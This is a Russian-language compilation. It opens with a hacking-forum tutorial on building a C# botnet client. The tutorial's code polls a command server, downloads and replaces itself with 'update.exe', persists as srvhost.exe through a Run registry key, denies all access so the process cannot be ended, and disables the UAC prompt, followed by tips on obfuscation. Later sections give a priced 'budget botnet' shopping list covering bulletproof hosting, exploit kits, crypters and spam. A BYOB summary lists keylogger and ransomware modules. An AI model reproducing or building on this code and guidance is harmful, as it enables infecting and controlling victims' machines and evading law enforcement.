Как написать ботнет

Добрый вечер господа. Сегодня я хотел бы поговорить не о взломе в чистом виде. Я думаю пришло время нам с Вами создать собственный БОТНЕТ. Эта тема, является не новой, но я бы хотел обратить внимание на то как именно начать создавать ботнет. Я уже являюсь ботоделом. И вот так выглядит, то что уже написано.
Посмотреть вложение 8073
Ну что, пожалуй сразу к делу?

Ботнет будем строить на языке C# — так как этот лучший выбор для НЕБОЛЬШИХ Ботнетов (максимум 100к онлайн машин). Это связано с одним ограничением, что для работы бота у жертвы должен быт установлен .Net Framework – сегодня в эпоху Windows 10, это уже не является большой проблемой, однако знать об этом стоит.

Теперь же поговорим о главном, а именно о том, с чего начинают новички и как НЕ НАДО начинать. (По разрушаем некоторые мифы)

Миф 1: Крутой ботнет должен содержать много всяких плюшек (DDOS, лайки в вк, вызов калькулятора =)).

Опровергаем: Хороший ботнет это тот, который не падает и справляется со своей задачей. Поэтому, как и любой продукт сначала необходимо писать МИНИМАЛЬНО — НЕОБХОДИМЫЙ функционал, так как программиста очень тяжело остановить и ему хочется писать всё больше и больше кода. Это неправильно. Написать необходимо сначала каркас и возможность расширения функционала. Этим путем пойдем и мы. Ботнет должен работать сразу и писаться максимум за два – три дня.

Миф 2: Ботнет обязательно для DDOS – атак.

Опровергаем: Это тоже не верное суждение. Да, ботнеты обычно используются для DDOS атак и мы рассмотрим типы DDOS атак и даже напишем свои модули, но не это главное. Лично я использую ботнет для распределенного быстрого

подбора хеш функций, брута сервисов и т.п.

Так как согласитесь, на сколько бы быстрый не был бы Ваш процессор, 100 000 машин сбрутят быстрее чем 1 машина. И это лишь немногое, как его можно использовать

Миф 3: Написать ботнет – сложно и требует клоссальных знаний программирования и сетевых технологий.

Опровергаем: Отчасти это так, но на самом деле не нужно быть выдающимся программистом с великим стажем. Хватит понимания общих сетевых протоколов (такие HTTP), немного знаний криптографии (SSL), и уровень программирования хотя бы на понимание ООП.

Итак, что же такое ботнет? Это несколько машин, объединённых одним командным центром, для скрытой эксплуатации ресурсов выгодных владельцу ботнета.

Пожалуй, хватит разговоров, пора к делу:

Требования к сегодняшнему релизу:
1) Создать билд который по указанному пути будет брать команду для ботов
2) Реализовать возможность копирования самого себя в автозагрузку и на этой стадии ограничимся копированием билда в другом каталог.
3) ByPass Uac и AV
4) Запретить завершение процесса.
5) Реализовать поддержку первый команды «Update» — команда которая просто будет обновлять наш текущий клиент, новой версией.
6) Небольшую обфускацию исходников, чтобы нас не отреверсили так просто.

Понеслась….

Создаем новый консольный проект.
Посмотреть вложение 8074

Далее меняем в настройках проекта на приложение для Windows (Лайвхак, чтобы создать пустое приложение без поддержки телеметрии).
Посмотреть вложение 8075

А вот теперь переходим в вопросы архитектуры.

Создаем папку Services в которой будет хранится наша бизнес логика и при добавлении новых возможностей в эту папку будем добавлять папки с новыми сервисами и классами. Начнем с первого пункта ТЗ. Создаим сервис «FileManager», который будет читать команду по ссылке, а также интерфейс.

Посмотреть вложение 8076

Далее код, для начала создадим заглушку на командном сервере (index.php).

Вспоминаем наше ТЗ
Создать билд, который по указанному пути будет брать команду для ботов
Для этого в наш сервис добавляем следующий код

Код:

public class FileManager : IFileManager
    {
        public string GetCommandByUrl(string url)
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            return new StreamReader(response.GetResponseStream()).ReadToEnd();
        }

  }

А в программу добавим

Код:

private static string _url = @"URL/index.php"; (тут наша заглушка пока)
     private const int interval = 10000; // 1000 seconds ~ 16 minutes
            while (true)
            {
                Thread.Sleep(interval);
                var command = _fileService.GetCommandByUrl(_url);

                if (command.Equals("update"))
                {
                    WebClient myWebClient = new WebClient();
                    myWebClient.DownloadFile(_url, "update.exe");
                    _fileService.RemoveFile();
                    _fileService.CopyFile("update.exe");
                }
          }

Профит:
Посмотреть вложение 8077

Реализовать возможность копирования самого себя в автозагрузку и на этой стадии ограничимся копированием билда в другом каталог.
Создаем в FileManager новый метод

Код:

public void CopyFile(string fileName = "")
        {
            if (String.IsNullOrEmpty(fileName))
            {
                fileName = Assembly.GetExecutingAssembly().Location;
                return;
            }

            File.Copy(fileName, @"C:Windowssrvhost.exe");
        }
void CopyFile(string fileName = @"C:Windowssrvhost.exe");

Добавляем в Program.cs

Код:

   public static void Main(string[] args)
        {
            IFileManager _fileService = new FileManager();
            _fileService.CopyFile();
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
            rkApp.SetValue("MyApp", @"C:Windowssrvhost.exe");

Запретить завершение процесса;
Здесь тоже всё достаточно просто новый сервис и добавляем в Program proc.block
Глянем в ProcessManager

Код:

  public class ProcessManager
    {
        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool GetKernelObjectSecurity(IntPtr Handle, int securityInformation, [Out] byte[] pSecurityDescriptor,
uint nLength, out uint lpnLengthNeeded);

        public static RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle)
        {
            const int DACL_SECURITY_INFORMATION = 0x00000004;
            byte[] psd = new byte[0];
            uint bufSizeNeeded;
            // Call with 0 size to obtain the actual size needed in bufSizeNeeded
            GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out bufSizeNeeded);
            if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue)
                throw new Win32Exception();
            // Allocate the required bytes and obtain the DACL
            if (!GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION,
            psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded))
                throw new Win32Exception();
            // Use the RawSecurityDescriptor class from System.Security.AccessControl to parse the bytes:
            return new RawSecurityDescriptor(psd, 0);
        }

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool SetKernelObjectSecurity(IntPtr Handle, int securityInformation, [In] byte[] pSecurityDescriptor);

        public static void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor dacl)
        {
            const int DACL_SECURITY_INFORMATION = 0x00000004;
            byte[] rawsd = new byte[dacl.BinaryLength];
            dacl.GetBinaryForm(rawsd, 0);
            if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd))
                throw new Win32Exception();
        }

        [DllImport("kernel32.dll")]
        public static extern IntPtr GetCurrentProcess();

        [Flags]
        public enum ProcessAccessRights
        {
            PROCESS_CREATE_PROCESS = 0x0080, //  Required to create a process.
            PROCESS_CREATE_THREAD = 0x0002, //  Required to create a thread.
            PROCESS_DUP_HANDLE = 0x0040, // Required to duplicate a handle using DuplicateHandle.
            PROCESS_QUERY_INFORMATION = 0x0400, //  Required to retrieve certain information about a process, such as its token, exit code, and priority class (see OpenProcessToken, GetExitCodeProcess, GetPriorityClass, and IsProcessInJob).
            PROCESS_QUERY_LIMITED_INFORMATION = 0x1000, //  Required to retrieve certain information about a process (see QueryFullProcessImageName). A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION. Windows Server 2003 and Windows XP/2000:  This access right is not supported.
            PROCESS_SET_INFORMATION = 0x0200, //    Required to set certain information about a process, such as its priority class (see SetPriorityClass).
            PROCESS_SET_QUOTA = 0x0100, //  Required to set memory limits using SetProcessWorkingSetSize.
            PROCESS_SUSPEND_RESUME = 0x0800, // Required to suspend or resume a process.
            PROCESS_TERMINATE = 0x0001, //  Required to terminate a process using TerminateProcess.
            PROCESS_VM_OPERATION = 0x0008, //   Required to perform an operation on the address space of a process (see VirtualProtectEx and WriteProcessMemory).
            PROCESS_VM_READ = 0x0010, //    Required to read memory in a process using ReadProcessMemory.
            PROCESS_VM_WRITE = 0x0020, //   Required to write to memory in a process using WriteProcessMemory.
            DELETE = 0x00010000, // Required to delete the object.
            READ_CONTROL = 0x00020000, //   Required to read information in the security descriptor for the object, not including the information in the SACL. To read or write the SACL, you must request the ACCESS_SYSTEM_SECURITY access right. For more information, see SACL Access Right.
            SYNCHRONIZE = 0x00100000, //    The right to use the object for synchronization. This enables a thread to wait until the object is in the signaled state.
            WRITE_DAC = 0x00040000, //  Required to modify the DACL in the security descriptor for the object.
            WRITE_OWNER = 0x00080000, //    Required to change the owner in the security descriptor for the object.
            STANDARD_RIGHTS_REQUIRED = 0x000f0000,
            PROCESS_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF),//    All possible access rights for a process object.
        }
        public void block()
        {
            // Get the current process handle
            IntPtr hProcess = GetCurrentProcess();
            // Read the DACL
            var dacl = GetProcessSecurityDescriptor(hProcess);
            // Insert the new ACE
            dacl.DiscretionaryAcl.InsertAce(
            0,
            new CommonAce(
            AceFlags.None,
            AceQualifier.AccessDenied,
            (int)ProcessAccessRights.PROCESS_ALL_ACCESS,
            new SecurityIdentifier(WellKnownSidType.WorldSid, null),
            false,
            null)
            );
            // Save the DACL
            SetProcessSecurityDescriptor(hProcess, dacl);
        }
    }

Теперь наш процесс сможет убить только опытный пользователь.
Профит: При нажатии на кнопку снять задачу получаем.
Посмотреть вложение 8078

Для того чтобы забайпассить UAC нужно в реестре просто отключить его проверку.

Код:

var readWriteSubTree = Microsoft.Win32.RegistryKeyPermissionCheck.ReadWriteSubTree;
            Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem"
                , readWriteSubTree);
            key.SetValue("ConsentPromptBehaviorAdmin", 0);

Байпассить AV на этом этапе пока не нужно, так как билд чистый, сигнатуры неизвестны, антивирусы не видят.
Посмотреть вложение 8079
Скан здесь

Ссылка скрыта от гостей

Реализовать поддержку первый команды «Update» — команда которая просто будет обновлять наш текущий клиент, новой версией.

Код:

  if (command.Equals("update"))
                {
                    WebClient myWebClient = new WebClient();
                    myWebClient.DownloadFile(_url, "update.exe");
                    _fileService.RemoveFile();
                    _fileService.CopyFile("update.exe");
                }

Небольшую обфускацию исходников, чтобы нас не отреверсили так просто.
Качаем .Net Reactor и ставим Protect. В дальнейших статьях рассмотрим собственные обфускаторы с помощью рефлексии.
Посмотреть вложение 8080
Сравним обфусцированный и необфусцированный билды

Видим как билд палится без проблем
Посмотреть вложение 8081

Вспоминаем наш метод Main, который теперь вот так выглядит в dotPeek
Посмотреть вложение 8082

Всем спасибо. На этом всё. Посмотрим, зайдет ли кодерская статья у публики, и решим продолжать эту тему или нет. Во всяком случае в статье собраны так же инетересные техники байпасса, немного рефлексии.

Ботнеты (от англ. «robot» и «network», то есть «сети роботов») — один из главных и популярнейших инструментов современной киберпреступности. Компьютерные сети, которые состоят из десятков, сотен тысяч и даже миллионов машин-хостов, заражённых программами-ботами, автоматически выполняют те или иные действия в интересах владельца или управляющего такой сетью.

При этом задачи, которые способен решать ботнет, могут быть самыми разными: от классических и вполне безобидных сбора адресов электронной почты и последующей рассылки спама до хищения информации к банковским счетам и коммерческого шпионажа. В России в последнее время ботнеты чаще всего используются для DDoS-атак на крупнейшие интернет-ресурсы, прежде всего оппозиционной направленности, а также на замусоривание социальных сетей пропагандистскими постингами фиктивных пользователей.

Написание программного обеспечения для функционирования ботнетов, их эксплуатация, поддержка и предоставление в аренду — крупнейший бизнес, существующий и активно развивающийся уже более 15 лет. Видимую его часть составляют полулегальные компании, продающие софт, обеспечивающие защищённый анонимных хостинг и различные криптографические услуги. Как правило, они зарегистрированы и действуют в рамках юрисдикций, гарантирующих защиту от преследований правоохранительных органов иностранных государств и неразглашение данных о клиентах таких фирм.

Практически во всех странах ведётся активная борьба с вредоносными ботнетами, и практически везде спецслужбы пользуются этими же самыми технологиями в собственных целях — не особо афишируя это, но и не слишком скрывая. Такое сосуществование объективно выгодно обеим сторонам, именно поэтому мы очень редко слышим сообщения о ликвидации крупных ботнетов, сам факт существования которых обеспечивает необходимый баланс интересов. Такие сети способны успешно функционировать длительное время, никак не обнаруживая себя.

По оценкам специалистов, средний срок жизни ботнетов, обслуживаемых высококвалифицированными специалистами, может составлять от семи месяцев до трёх лет. Согласно данным Trustwave за февраль 2013 года, в среднем до обнаружения сетевой атаки проходит более 210 дней, причём вторжение удаётся заметить не благодаря какому-то антивирусному ПО, а исключительно благодаря жалобам клиентов и вопросам, возникающим у банковских учреждений и правоохранительных органов. При этом в пяти процентах случаев сетевая атака была обнаружена спустя более трёх лет (!) после её начала.

Понятно, что таких результатов добиваются только отлично организованные группы, на которые работают профессионалы самой высокой квалификации. Услуги таких ботнетов доступны лишь крупному бизнесу и спецслужбам, причём не только из-за стоимости в десятки миллионов долларов, но и силу глубочайшей законспирированности. Между тем в мире работает огромное количество вполне эффективных сетей гораздо меньшего масштаба, ориентированных на краткосрочные атаки. Организация таких сетей по карману даже студенту, и вполне возможно, что ваш сайт за совершенно смешную сумму «положил» на неделю ваш конкурент по бизнесу.

Затраты на организацию «бюджетного» ботнета на сегодняшний день составляют всего порядка 600 долларов. При этом владелец такой сети вовсе не обязан разбираться в программировании и сетевых протоколах — за эти деньги он может получить не только свежий код, защищённый хостинг и криптографические услуги, но и круглосуточную техническую поддержку, регулярные обновления и любой другой сервис, уровню которого позавидуют иные международные корпорации.

Из чего же складывается цена «бюджетного» ботнета, и как найти людей, предоставляющих такие услуги? Вы будете смеяться, но достаточно набрать в поисковой строке браузера слово «ботнет», как вы получите огромное количество ссылок на форумы, в которых вам предложат всё, что вы только пожелаете. Специально оговоримся, что эта статья — вовсе не инструкция по ограблению банка и прочей противоправной деятельности, а лишь общее описание доступных на рынке предложений. Поэтому здесь не будет никаких прямых гиперссылок — любопытствующие без проблем отыщут все упомянутые нами продукты и услуги самостоятельно и не станут забывать о статьях 272 и 273 Уголовного кодекса РФ.

1. Защищённая виртуальная частная сеть (VPN)

Прежде чем начинать строительство ботнета, вам требуется как можно тщательнее скрыться от внимательных глаз — антивирусных компаний, специалистов по безопасности, конкурентов и, конечно, правоохранительных органов. Для этого вам нужен провайдер виртуальной частной сети (VPN), который не будет интересоваться вашим настоящим именем, который не станет никому раскрывать ваши логи по юридическим или техническим причинам и который принимает оплату через анонимные платёжные системы.

Внимательнее читайте пользовательские соглашения и правила приглянувшегося провайдера. Член хакерской группы LulzSec Коди Кретсингер был арестован только потому, что VPN-провайдер HideMyAss.com в соответствии с условиями обслуживания предоставил полиции все логи после получения официального запроса.

Типичный VPN-провайдер CryptoVPN просит за свои услуги около 25 долларов в месяц или около 200 долларов в год. Принимаются платежи через Bitcoin, Liberty Reserve и прочие анонимные сервисы.

Цена — 25 долларов в месяц

2. Надёжный хостинг

Спрятав свою сеть, нужно найти надёжное место для хостинга центра управления ботнетом. Его стоит искать там, кому всё равно, чем вы занимаетесь на их серверах и кто не будет вычищать ваш специфический софт в ходе регулярного антивирусного сканирования. Такие хостеры расположены либо в странах с либеральным отношением к компьютерному пиратству, либо в государствах, не склонных сотрудничать с иностранными правоохранительными органами.

Типичный пример — румынский хостинг HostimVse с сайтом на русском языке, предлагающий размещение сайтов с пиратским и порнографическим контентом, защищённый от атак конкурентов, претензий со стороны пользователей и недоступный для действия американского закона DMCA. Компания также предоставляет дополнительные услуги, включая защиту от DDoS-атак. Цена на выделенный сервер начинается с 30 долларов в месяц, но в правила обслуживания входят условия, позволяющие в случае обнаружения ботнет-активности аннулировать договор.

Специально для ботнетов и прочего malware существуют особые сервисы, которые обычно рекламируются исключительно через тематические форумы, а для контакта используется ICQ или Jabber. Многие из них предлагают техническую поддержку по телефону или Skype и услуги по настройке Apache.

Цена — от 50 долларов в месяц плюс плата за поддержку

3. Надёжный домен и Fast Flux

Для надёжной связи с ботами вам потребуются доменные имена с полным доступом к настройкам DNS. Чтобы избежать быстрого выявления «командного центра» при подключении к заражённым сетям, понадобится несколько доменных имён.

Регистратор таких доменных имён не должен проявлять повышенного интереса к вашей личности и должен принимать платежи через анонимные службы.

Существенно усиливает безопасность доменов использование технологии маскировки Fast Flux, скрывающей реальные IP-адреса путём быстрого изменения (в течение нескольких секунд) IP-адреса в записи DNS на адреса из числа любых входящих в ботнет машин. В двухпоточных сетях (double-flux) используется дополнительный уровень — сервисная сеть ботов, IP-адреса которой также постоянно меняются, что обеспечивает дополнительный уровень защиты.

В отличие от доменов, услуга Fast Flux стоит немало: поддержка пяти скрытых DNS-cерверов обойдётся не менее чем в 800 долларов. Поэтому для «бюджетного» ботнета лучше начать с покупки нескольких доменных имён.

Цена — от 50 долларов за пять доменных имён

4. Платформа и центр управления (C&C)

Существует несколько известных программных платформ для создания ботнетов — Carberp, Citadel, SpyEye, ZeuS, причём цены на них могут различаться на порядки. В частности, разработчики Carberp непосредственно перед арестом просили за комплект 40 000 долларов, а первые версии ZeuS стоили около 400. Модифицированные версии ZeuS с функциональностью руткита и набором ПО для начинающего пользователя обойдутся в 1500 долларов. Молодой конкурент ZeuS, SpyEye с набором модулей-инжектов, стоит примерно столько же.

Поскольку в 2012 году был обнародован исходный код предыдущих версий ZeuS, он стал открытым, и на рынке появилась масса предложений по продаже платформы примерно за 125 долларов с ежемесячным обновлением за 15 долларов и круглосуточной поддержкой за 25 долларов в месяц. Наконец, не составит особого труда найти «взломанные» версии некоторых платформ: вы не получите ни поддержки, ни обновлений, зато не заплатите за них ни копейки.

Цена — 125 долларов плюс 40 долларов в месяц за обновления и поддержку

5. Наборы веб-инжектов

Популярность платформы ZeuS породила целую экосистему программных плагинов, изменяющих или дополняющих функциональность ботнета. Значительную их часть занимают так называемые инжекты — управляющие ботом модули, позволяющие отслеживать нужный тип активности в браузере и при посещении инфицированных сайтов «впрыскивающие», внедряющие в браузер необходимый код.

Существуют инжекты самого разного назначения — от почти безобидного генерирования невидимых кликов просмотра рекламных баннеров до сбора персональной информации и кражи данных онлайн-банкинга и платёжных систем. Через хакерские форумы можно приобрести целые наборы инжектов вместе с услугой по их установке и настройке.

Цена — 80 долларов за набор плюс 8 долларов в месяц за поддержку

6. Связки эксплойтов и онлайн-сервисы

Чтобы проникнуть на машину жертвы и сделать её ботом, необходимо обойти стандартную и антивирусную защиту. Для этого применяются специальные программы — эксплойты, использующие уязвимости в браузере, операционной системе или другом ПО для получения удалённого контроля над системой.

Обычный способ заражения для большинства ботнетов — это использование гиперссылок в почтовом спаме или открываемых вместе с основной рекламных страниц, заполненных множеством баннеров. Всего один клик по такой ссылке приводит к редиректу на узел ботнета, где распознаётся тип ПО и оборудования клиента, после чего на него отправляются подходящие эксплойты.

Эксплойты продаются наборами или «связками» либо предоставляются в качестве онлайновой услуги. Популярный пакет Phoenix можно приобрести за 120 долларов плюс 38 долларов в месяц за обновления и техническую поддержку, онлайновый сервис BlackHole обойдётся в 50 долларов в день либо в 1500 за годовую лицензию при установке на сервер заказчика.

Цена — 120 долларов за набор плюс 38 долларов в месяц за поддержку и обновления

7. Крипторы и дропперы

Чтобы антивирусное ПО не обнаружило загруженные на компьютер жертвы файлы по его сигнатуре и не блокировало их, применяются так называемые крипторы, шифрующие сигнатуры трояна и связанных с ним файлов. Результат работы криптора — дроппер, способный устанавливать зашифрованные файлы в систему, в том числе модифицировать исполняемые файлы, а также скачивать дополнительные фрагменты вредоносного кода и прочие данные на инфицированную машину.

Во многих крипторах есть также функция «антипесочницы»: антивирусные программы могут помещать распознанные вирусы в так называемые «песочницы» или виртуальные машины без возможности исполнения их кода в системе. «Антипесочница» распознаёт виртуальную среду и позволяет запустить в ней лишь безвредный код, скрывая основную функциональность.

Криптор может поставляться как отдельная утилита по цене порядка 30 долларов, так и как онлайновый сервис — от 7 долларов за однократное «криптование» до 20 долларов в месяц за неограниченную лицензию и сопутствующие утилиты.

Цена — 20 долларов в месяц за криптор и утилиты

8. Спам и услуги по социальному инжинирингу

Чтобы заставить будущих ботов нажать на нужную гиперссылку и заразить свою машину, используются разнообразные средства социальной инженерии. Классический способ — «старый добрый» спам. Вы можете просто купить базу электронных почтовых адресов либо воспользоваться услугами другого ботнета, специализирующегося на спаме. Такие ботнеты более эффективны, поскольку они переориентировались на популярные социальные сети, а также рассылки SMS и MMS, причём оплата идёт не за размещённое сообщение, а за хит.

Более изысканный вариант предполагает использование собранной другим ботнетом личной информации, чтобы заставить жертву щёлкнуть по ссылке в почтовом сообщении или в постинге в социальной сети. Такое сообщение может быть замаскировано под письмо из банка, из автосалона или автомастерской, от хостинг-провайдера, от любой сетевой службы или даже от любого из «друзей». Похитив персональную информацию одного члена социальной сети, можно включить в ботнет ещё и несколько его «френдов».

Для «бюджетного» ботнета спам остаётся лучшим выбором: это дёшево и всё ещё эффективно. Рассылка по случайному набору адресов стоит от 10 долларов за миллион писем, а по адресам, замеченным в интересе к определённой тематике, — около 50.

Цена — 50 долларов за первоначальную спам-рассылку

Дёшево и сердито

Как видим, вложения в создание и эксплуатацию «бюджетного» ботнета в течение первого месяца составляют всего 606 долларов. Совершенно смешная сумма, доступная практически каждому, — особенно по сравнению с потенциальной выгодой. И такая дешевизна вовсе не означает неэффективности.

Несмотря на то что все основные ботнет-платформы хорошо известны и антивирусным компаниям, и специалистам по безопасности, они прекрасно маскируются при помощи доступных крипторов и дропперов, а постоянно совершенствующиеся наборы эксплойтов способны инфицировать практически любую машину. По данным сайта ZeusTracker, в среднем антивирусное ПО распознаёт код чуть более 38 процентов установленных ботнетов на платформе ZeuS. Так что всё это действительно работает, и мошенники по всему миру активно пользуются ботнетами. Разумеется, сети, управляемые непрофессионалами, намного быстрее раскрываются, в том числе и правоохранительными органами, но от этого число желающих обмануть судьбу не уменьшается.

Во всей этой истории пугает вовсе не дешевизна «входного билета» в мир современной киберпреступности и даже не то, что для создания собственного ботнета больше не требуется даже элементарных навыков программирования. Пугает то, с какой лёгкостью люди нажимают странные ссылки и заходят на случайные сайты. А ведь именно это остаётся основным способом заражения компьютера и превращения его в боевую единицу сети роботов, управляемой злоумышленниками.

Перейти к содержанию

На чтение 4 мин Опубликовано 02.08.2018

BYOB – это проект с открытым исходным кодом, который предоставляет платформу для исследователей и разработчиков безопасности для создания и управления базовым ботнетом, чтобы углубить свое понимание сложной вредоносной программы, которая заражает миллионы устройств каждый год и порождает современные бот-сети, чтобы улучшить их способность разработать контрмеры против этих угроз.

Содержание

  1. Сервер
  2. Клиент
  3. Модули
  4. Скачать Ботнет

Сервер

usage: server.py [-h] [-v] [--host HOST] [--port PORT] [--database DATABASE]

Команды и контроль Сервера  с постоянной базой данных и консолью

  • Консольный интерфейс пользователя: оптимизированный консольный интерфейс для удаленного управления клиентскими хост-компьютерами через обратные TCP-оболочки, которые обеспечивают прямой доступ к клиентским хост-машинам
  • Постоянная база данных SQLite: легкая база данных, в которой хранится идентификационная информация о клиентских машинах-хостах, что позволяет проводить сеансы обратной TCP-оболочки с помощью разрывов произвольной продолжительности и обеспечения долгосрочной разведки
  • Архитектура клиент-сервер: все локальные пакеты / модули python автоматически становятся доступными для удаленного доступа клиентов, не записывая их на диск целевых компьютеров, что позволяет клиентам использовать модули, которые требуют пакетов, не установленных на целевых компьютерах

Клиент

usage: client.py [-h] [-v] [--name NAME] [--icon ICON] [--pastebin API] [--encrypt] [--obfuscate] [--compress] [--compile] host port [module [module ...]]

Вы можете создавать полностью необнаруживаемые клиенты с поставленной полезной нагрузкой, удаленным импортом и неограниченными модулями

  • Удаленный импорт: может удаленно импортировать сторонние пакеты с сервера, не записывая их на диск или не загружая / не устанавливая их
  • Ничего не записано на диск: клиенты никогда ничего не пишут на диск – даже временные файлы (нулевые системные вызовы ввода-вывода выполняются), потому что удаленный импорт позволяет динамически загружать произвольный код в память и напрямую импортировать в текущий процесс
  • Zero Dependencies (не даже сам Python): клиент работает только с стандартной библиотекой python, удаленно импортирует любые нестандартные пакеты / модули с сервера и может быть скомпилирован с помощью автономного интерпретатора python в переносимый исполняемый файл, отформатированный для любой платформы / архитектура, позволяющая ему работать на чем угодно, даже если сам Python отсутствует на целевом хосте
  • Добавление новых функций с помощью всего лишь 1 Щелчка: любой скрипт, модуль или пакет python, который вы должны копировать в ./byob/modules/directory, автоматически становится удаленно импортируемым и напрямую использоваться каждым клиентом, пока запущен ваш сервер управления и управления
  • Напишите свои собственные модули: базовый шаблон модуля предоставляется в каталоге ./byob/modules/, чтобы написать собственные модули прямолинейным процессом
  • Запуск неограниченных модулей без раздувания Размера файла: использование удаленного импорта для добавления неограниченных функций без добавления ни одного байта в размер файла клиента
  • Полностью обновляемый: каждый клиент будет периодически проверять сервер на наличие нового контента, доступного для удаленного импорта, и будет динамически обновлять свои ресурсы в памяти, если что-либо добавлено / удалено
  • Независимая платформа: все написано на языке Python, и сгенерированные клиенты могут быть необязательно скомпилированы в переносимый исполняемый файл (Windows) или в комплекте с автономным приложением (macOS)
  • Обход межсетевых экранов: клиенты подключаются к серверу управления и управления через обратные TCP-соединения, которые обходят большинство брандмауэров, потому что конфигурации фильтра по умолчанию в основном блокируют входящие соединения
  • Counter-Measure Against Antivirus: избегает анализа антивирусом, блокируя процессы с именами известных антивирусных продуктов от нереста
  • Шифрование полезных нагрузок для предотвращения анализа: основная полезная нагрузка клиента зашифровывается случайным 256-битным ключом, который существует исключительно в блоке полезной нагрузки, который создается вместе с ним
  • Предотвращение обратного проектирования: по умолчанию клиенты прекращают выполнение, если обнаружена виртуальная машина или песочница

Модули

11 пост-эксплуатационных модулей, которые удаленно импортируются клиентами

  • Keylogger (byob.modules.keylogger): регистрирует нажатия клавиш пользователя и введенное имя окна
  • Снимок экрана (byob.modules.screenshot): сделайте снимок экрана рабочего стола текущего пользователя
  • Веб-камера (byob.modules.webcam): просмотр прямого потока или захват изображения / видео с веб-камеры
  • Ransom (byob.modules.ransom): шифрует файлы и генерирует случайный кошелек BTC для оплаты выкупа
  • Outlook (byob.modules.outlook): чтение / поиск / отправка писем из локального клиента Outlook
  • Packet Sniffer (byob.modules.packetsniffer): запустить пакетный снифер в сети хоста и загрузить файл .pcap
  • Persistence (byob.modules.persistence): установить постоянство на главной машине, используя 5 различных методов
  • Телефон (byob.modules.phone): чтение / поиск / загрузка текстовых сообщений с клиентского смартфона
  • Эскалация привилегий (byob.modules.escalate): попытка обхода UAC для получения несанкционированных прав администратора
  • Port Scanner (byob.modules.portscanner): сканирование локальной сети для других сетевых устройств и открытых портов
  • Управление процессом (byob.modules.process): list / search / kill / мониторинг текущих запущенных процессов на хосте

Скачать Ботнет

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

Пожалуйста, не спамьте и никого не оскорбляйте.

Это поле для комментариев, а не спамбокс.

Рекламные ссылки не индексируются!

Biz & IT —

For a few hundred dollars, you can get tools and 24/7 support for Internet crime.

Building a botnet shopping list

I did some additional research afterward to check Goncharov’s math, and I also looked at some alternative approaches. The underground software market for hacking, fraud, and botnet tools has matured to the point where developers provide most of what you’d expect from legitimate software and online service providers—maybe even more. There’s full support for the paid services, including 24/7 voice support in some cases, in a business where positive word of mouth in forums is the best (and often only) advertising. And there’s no shortage of «consultants» to help you get started.

Botnet software itself is an important part of the whole equation, but it’s only a fraction of first-month startup costs—and one that’s fungible if you’re willing to invest some of your own sweat equity in the setup (or dispense with the «legitimate» route and use a cracked version without software support). Just like any Internet business, launching a financial fraud botnet—or any kind of long-running botnet endeavor—requires a sustainable business plan. You need to know your target market, ensure distribution, keep your installed base a step ahead of the competition, and keep your business processes secure.

Here’s a typical botnet-herder’s startup shopping list:

A “bulletproof” VPN

Before you start building a bot army of incredible magnitude, you need—just as with any other hacking endeavor of questionable legality—to hide yourself from prying eyes. That means using some sort of tool to avoid monitoring by your ISP, law enforcement, and other cybercriminals. Generally speaking, the best way is a virtual private network.

As confessed LulzSec member Cody Kretsinger found out, not all VPN providers are created equal. He used a service called HideMyAss.com, a VPN and proxy service run by UK-based Privax Ltd. Unfortunately, he didn’t read the company’s privacy and legal policies, and they gave up his logs when law enforcement came knocking. «Bulletproof» VPN services are ones that claim to be shielded from law enforcement requests because of their location or logging practices. Many of these services have disclaimers about «abuse» of the services, but the fact is that they take a number of anonymous forms of payment (CryptoVPN, for example, accepts Liberty Reserve, Bitcoin, and a number of other similar anonymous payment services). At worst, these services may just cancel your account if it attracts too much trouble.

A typical «bulletproof» VPN service, such as CryptoVPN runs about $25 a month. If you’re thinking long-term, you can sign-up for $200 a year. However, it’s best not to think long-term if you’re botnet-herding; it may behoove you to change services every now and then to keep your profile low.

Budget Botnet Shopper’s Price: $25 / month.

A “bulletproof” host

Once you’ve got your network secured, you need some place to host your botnet’s command and control network and all of the other assorted badness needed to launch a massive assault on the unsuspecting world. For those without the skills, time, or desire to simply go hack someone else’s server every couple of weeks, that means buying a dedicated or virtual dedicated server from someone who doesn’t care what you’re doing—lest your botnet’s nerve center be wiped during a security sweep or seized by law enforcement.

There are many kinds of «bulletproof» hosts catering to various kinds of customers. Most of them buy space in data centers around the world in places with either weak data privacy laws or plain disregard for what other countries’ laws say. This provides a sort of insurance policy for their customers, Goncharov said. At a minimum, the data on the servers won’t be given up to law enforcement.

Some are smaller hosting companies such as Hostim VSE, a Romanian hosting company with a Russian language website more targeted at protecting pornographers, pirates, and other targets of DMCA takedown requests. Hostim VSE publicly denounces botnetters and financial fraudsters to prevent attention from local law enforcement. It describes «bulletproof hosting» as «hosting resistant to complaints and other types of attacks on competitors. When placed on a standard website hosting, your site can receive complaints from competitors under the guise of copyright holders. In consequence of this, most other hosting providers disable your site until the circumstances [change]. We also review all such complaints, check its validity, conduct a site audit, demand [the accuser] to produce documents confirming the rights, and otherwise deal with all to settle the conflict, and only then disable the client’s site.»

All of this, the company says with a wink, takes a lot of time and human resources, and as a small company there may be some delays before it gets around to it. In other words, «don’t worry—we’re inefficient.» Hostim VSE’s dedicated servers start at $39/month with additional charges for more bandwidth. The company also, ironically, provides DDoS protection and other support services. But prices for its services will rise dramatically if you’re attracting too much attention or using too much bandwidth.

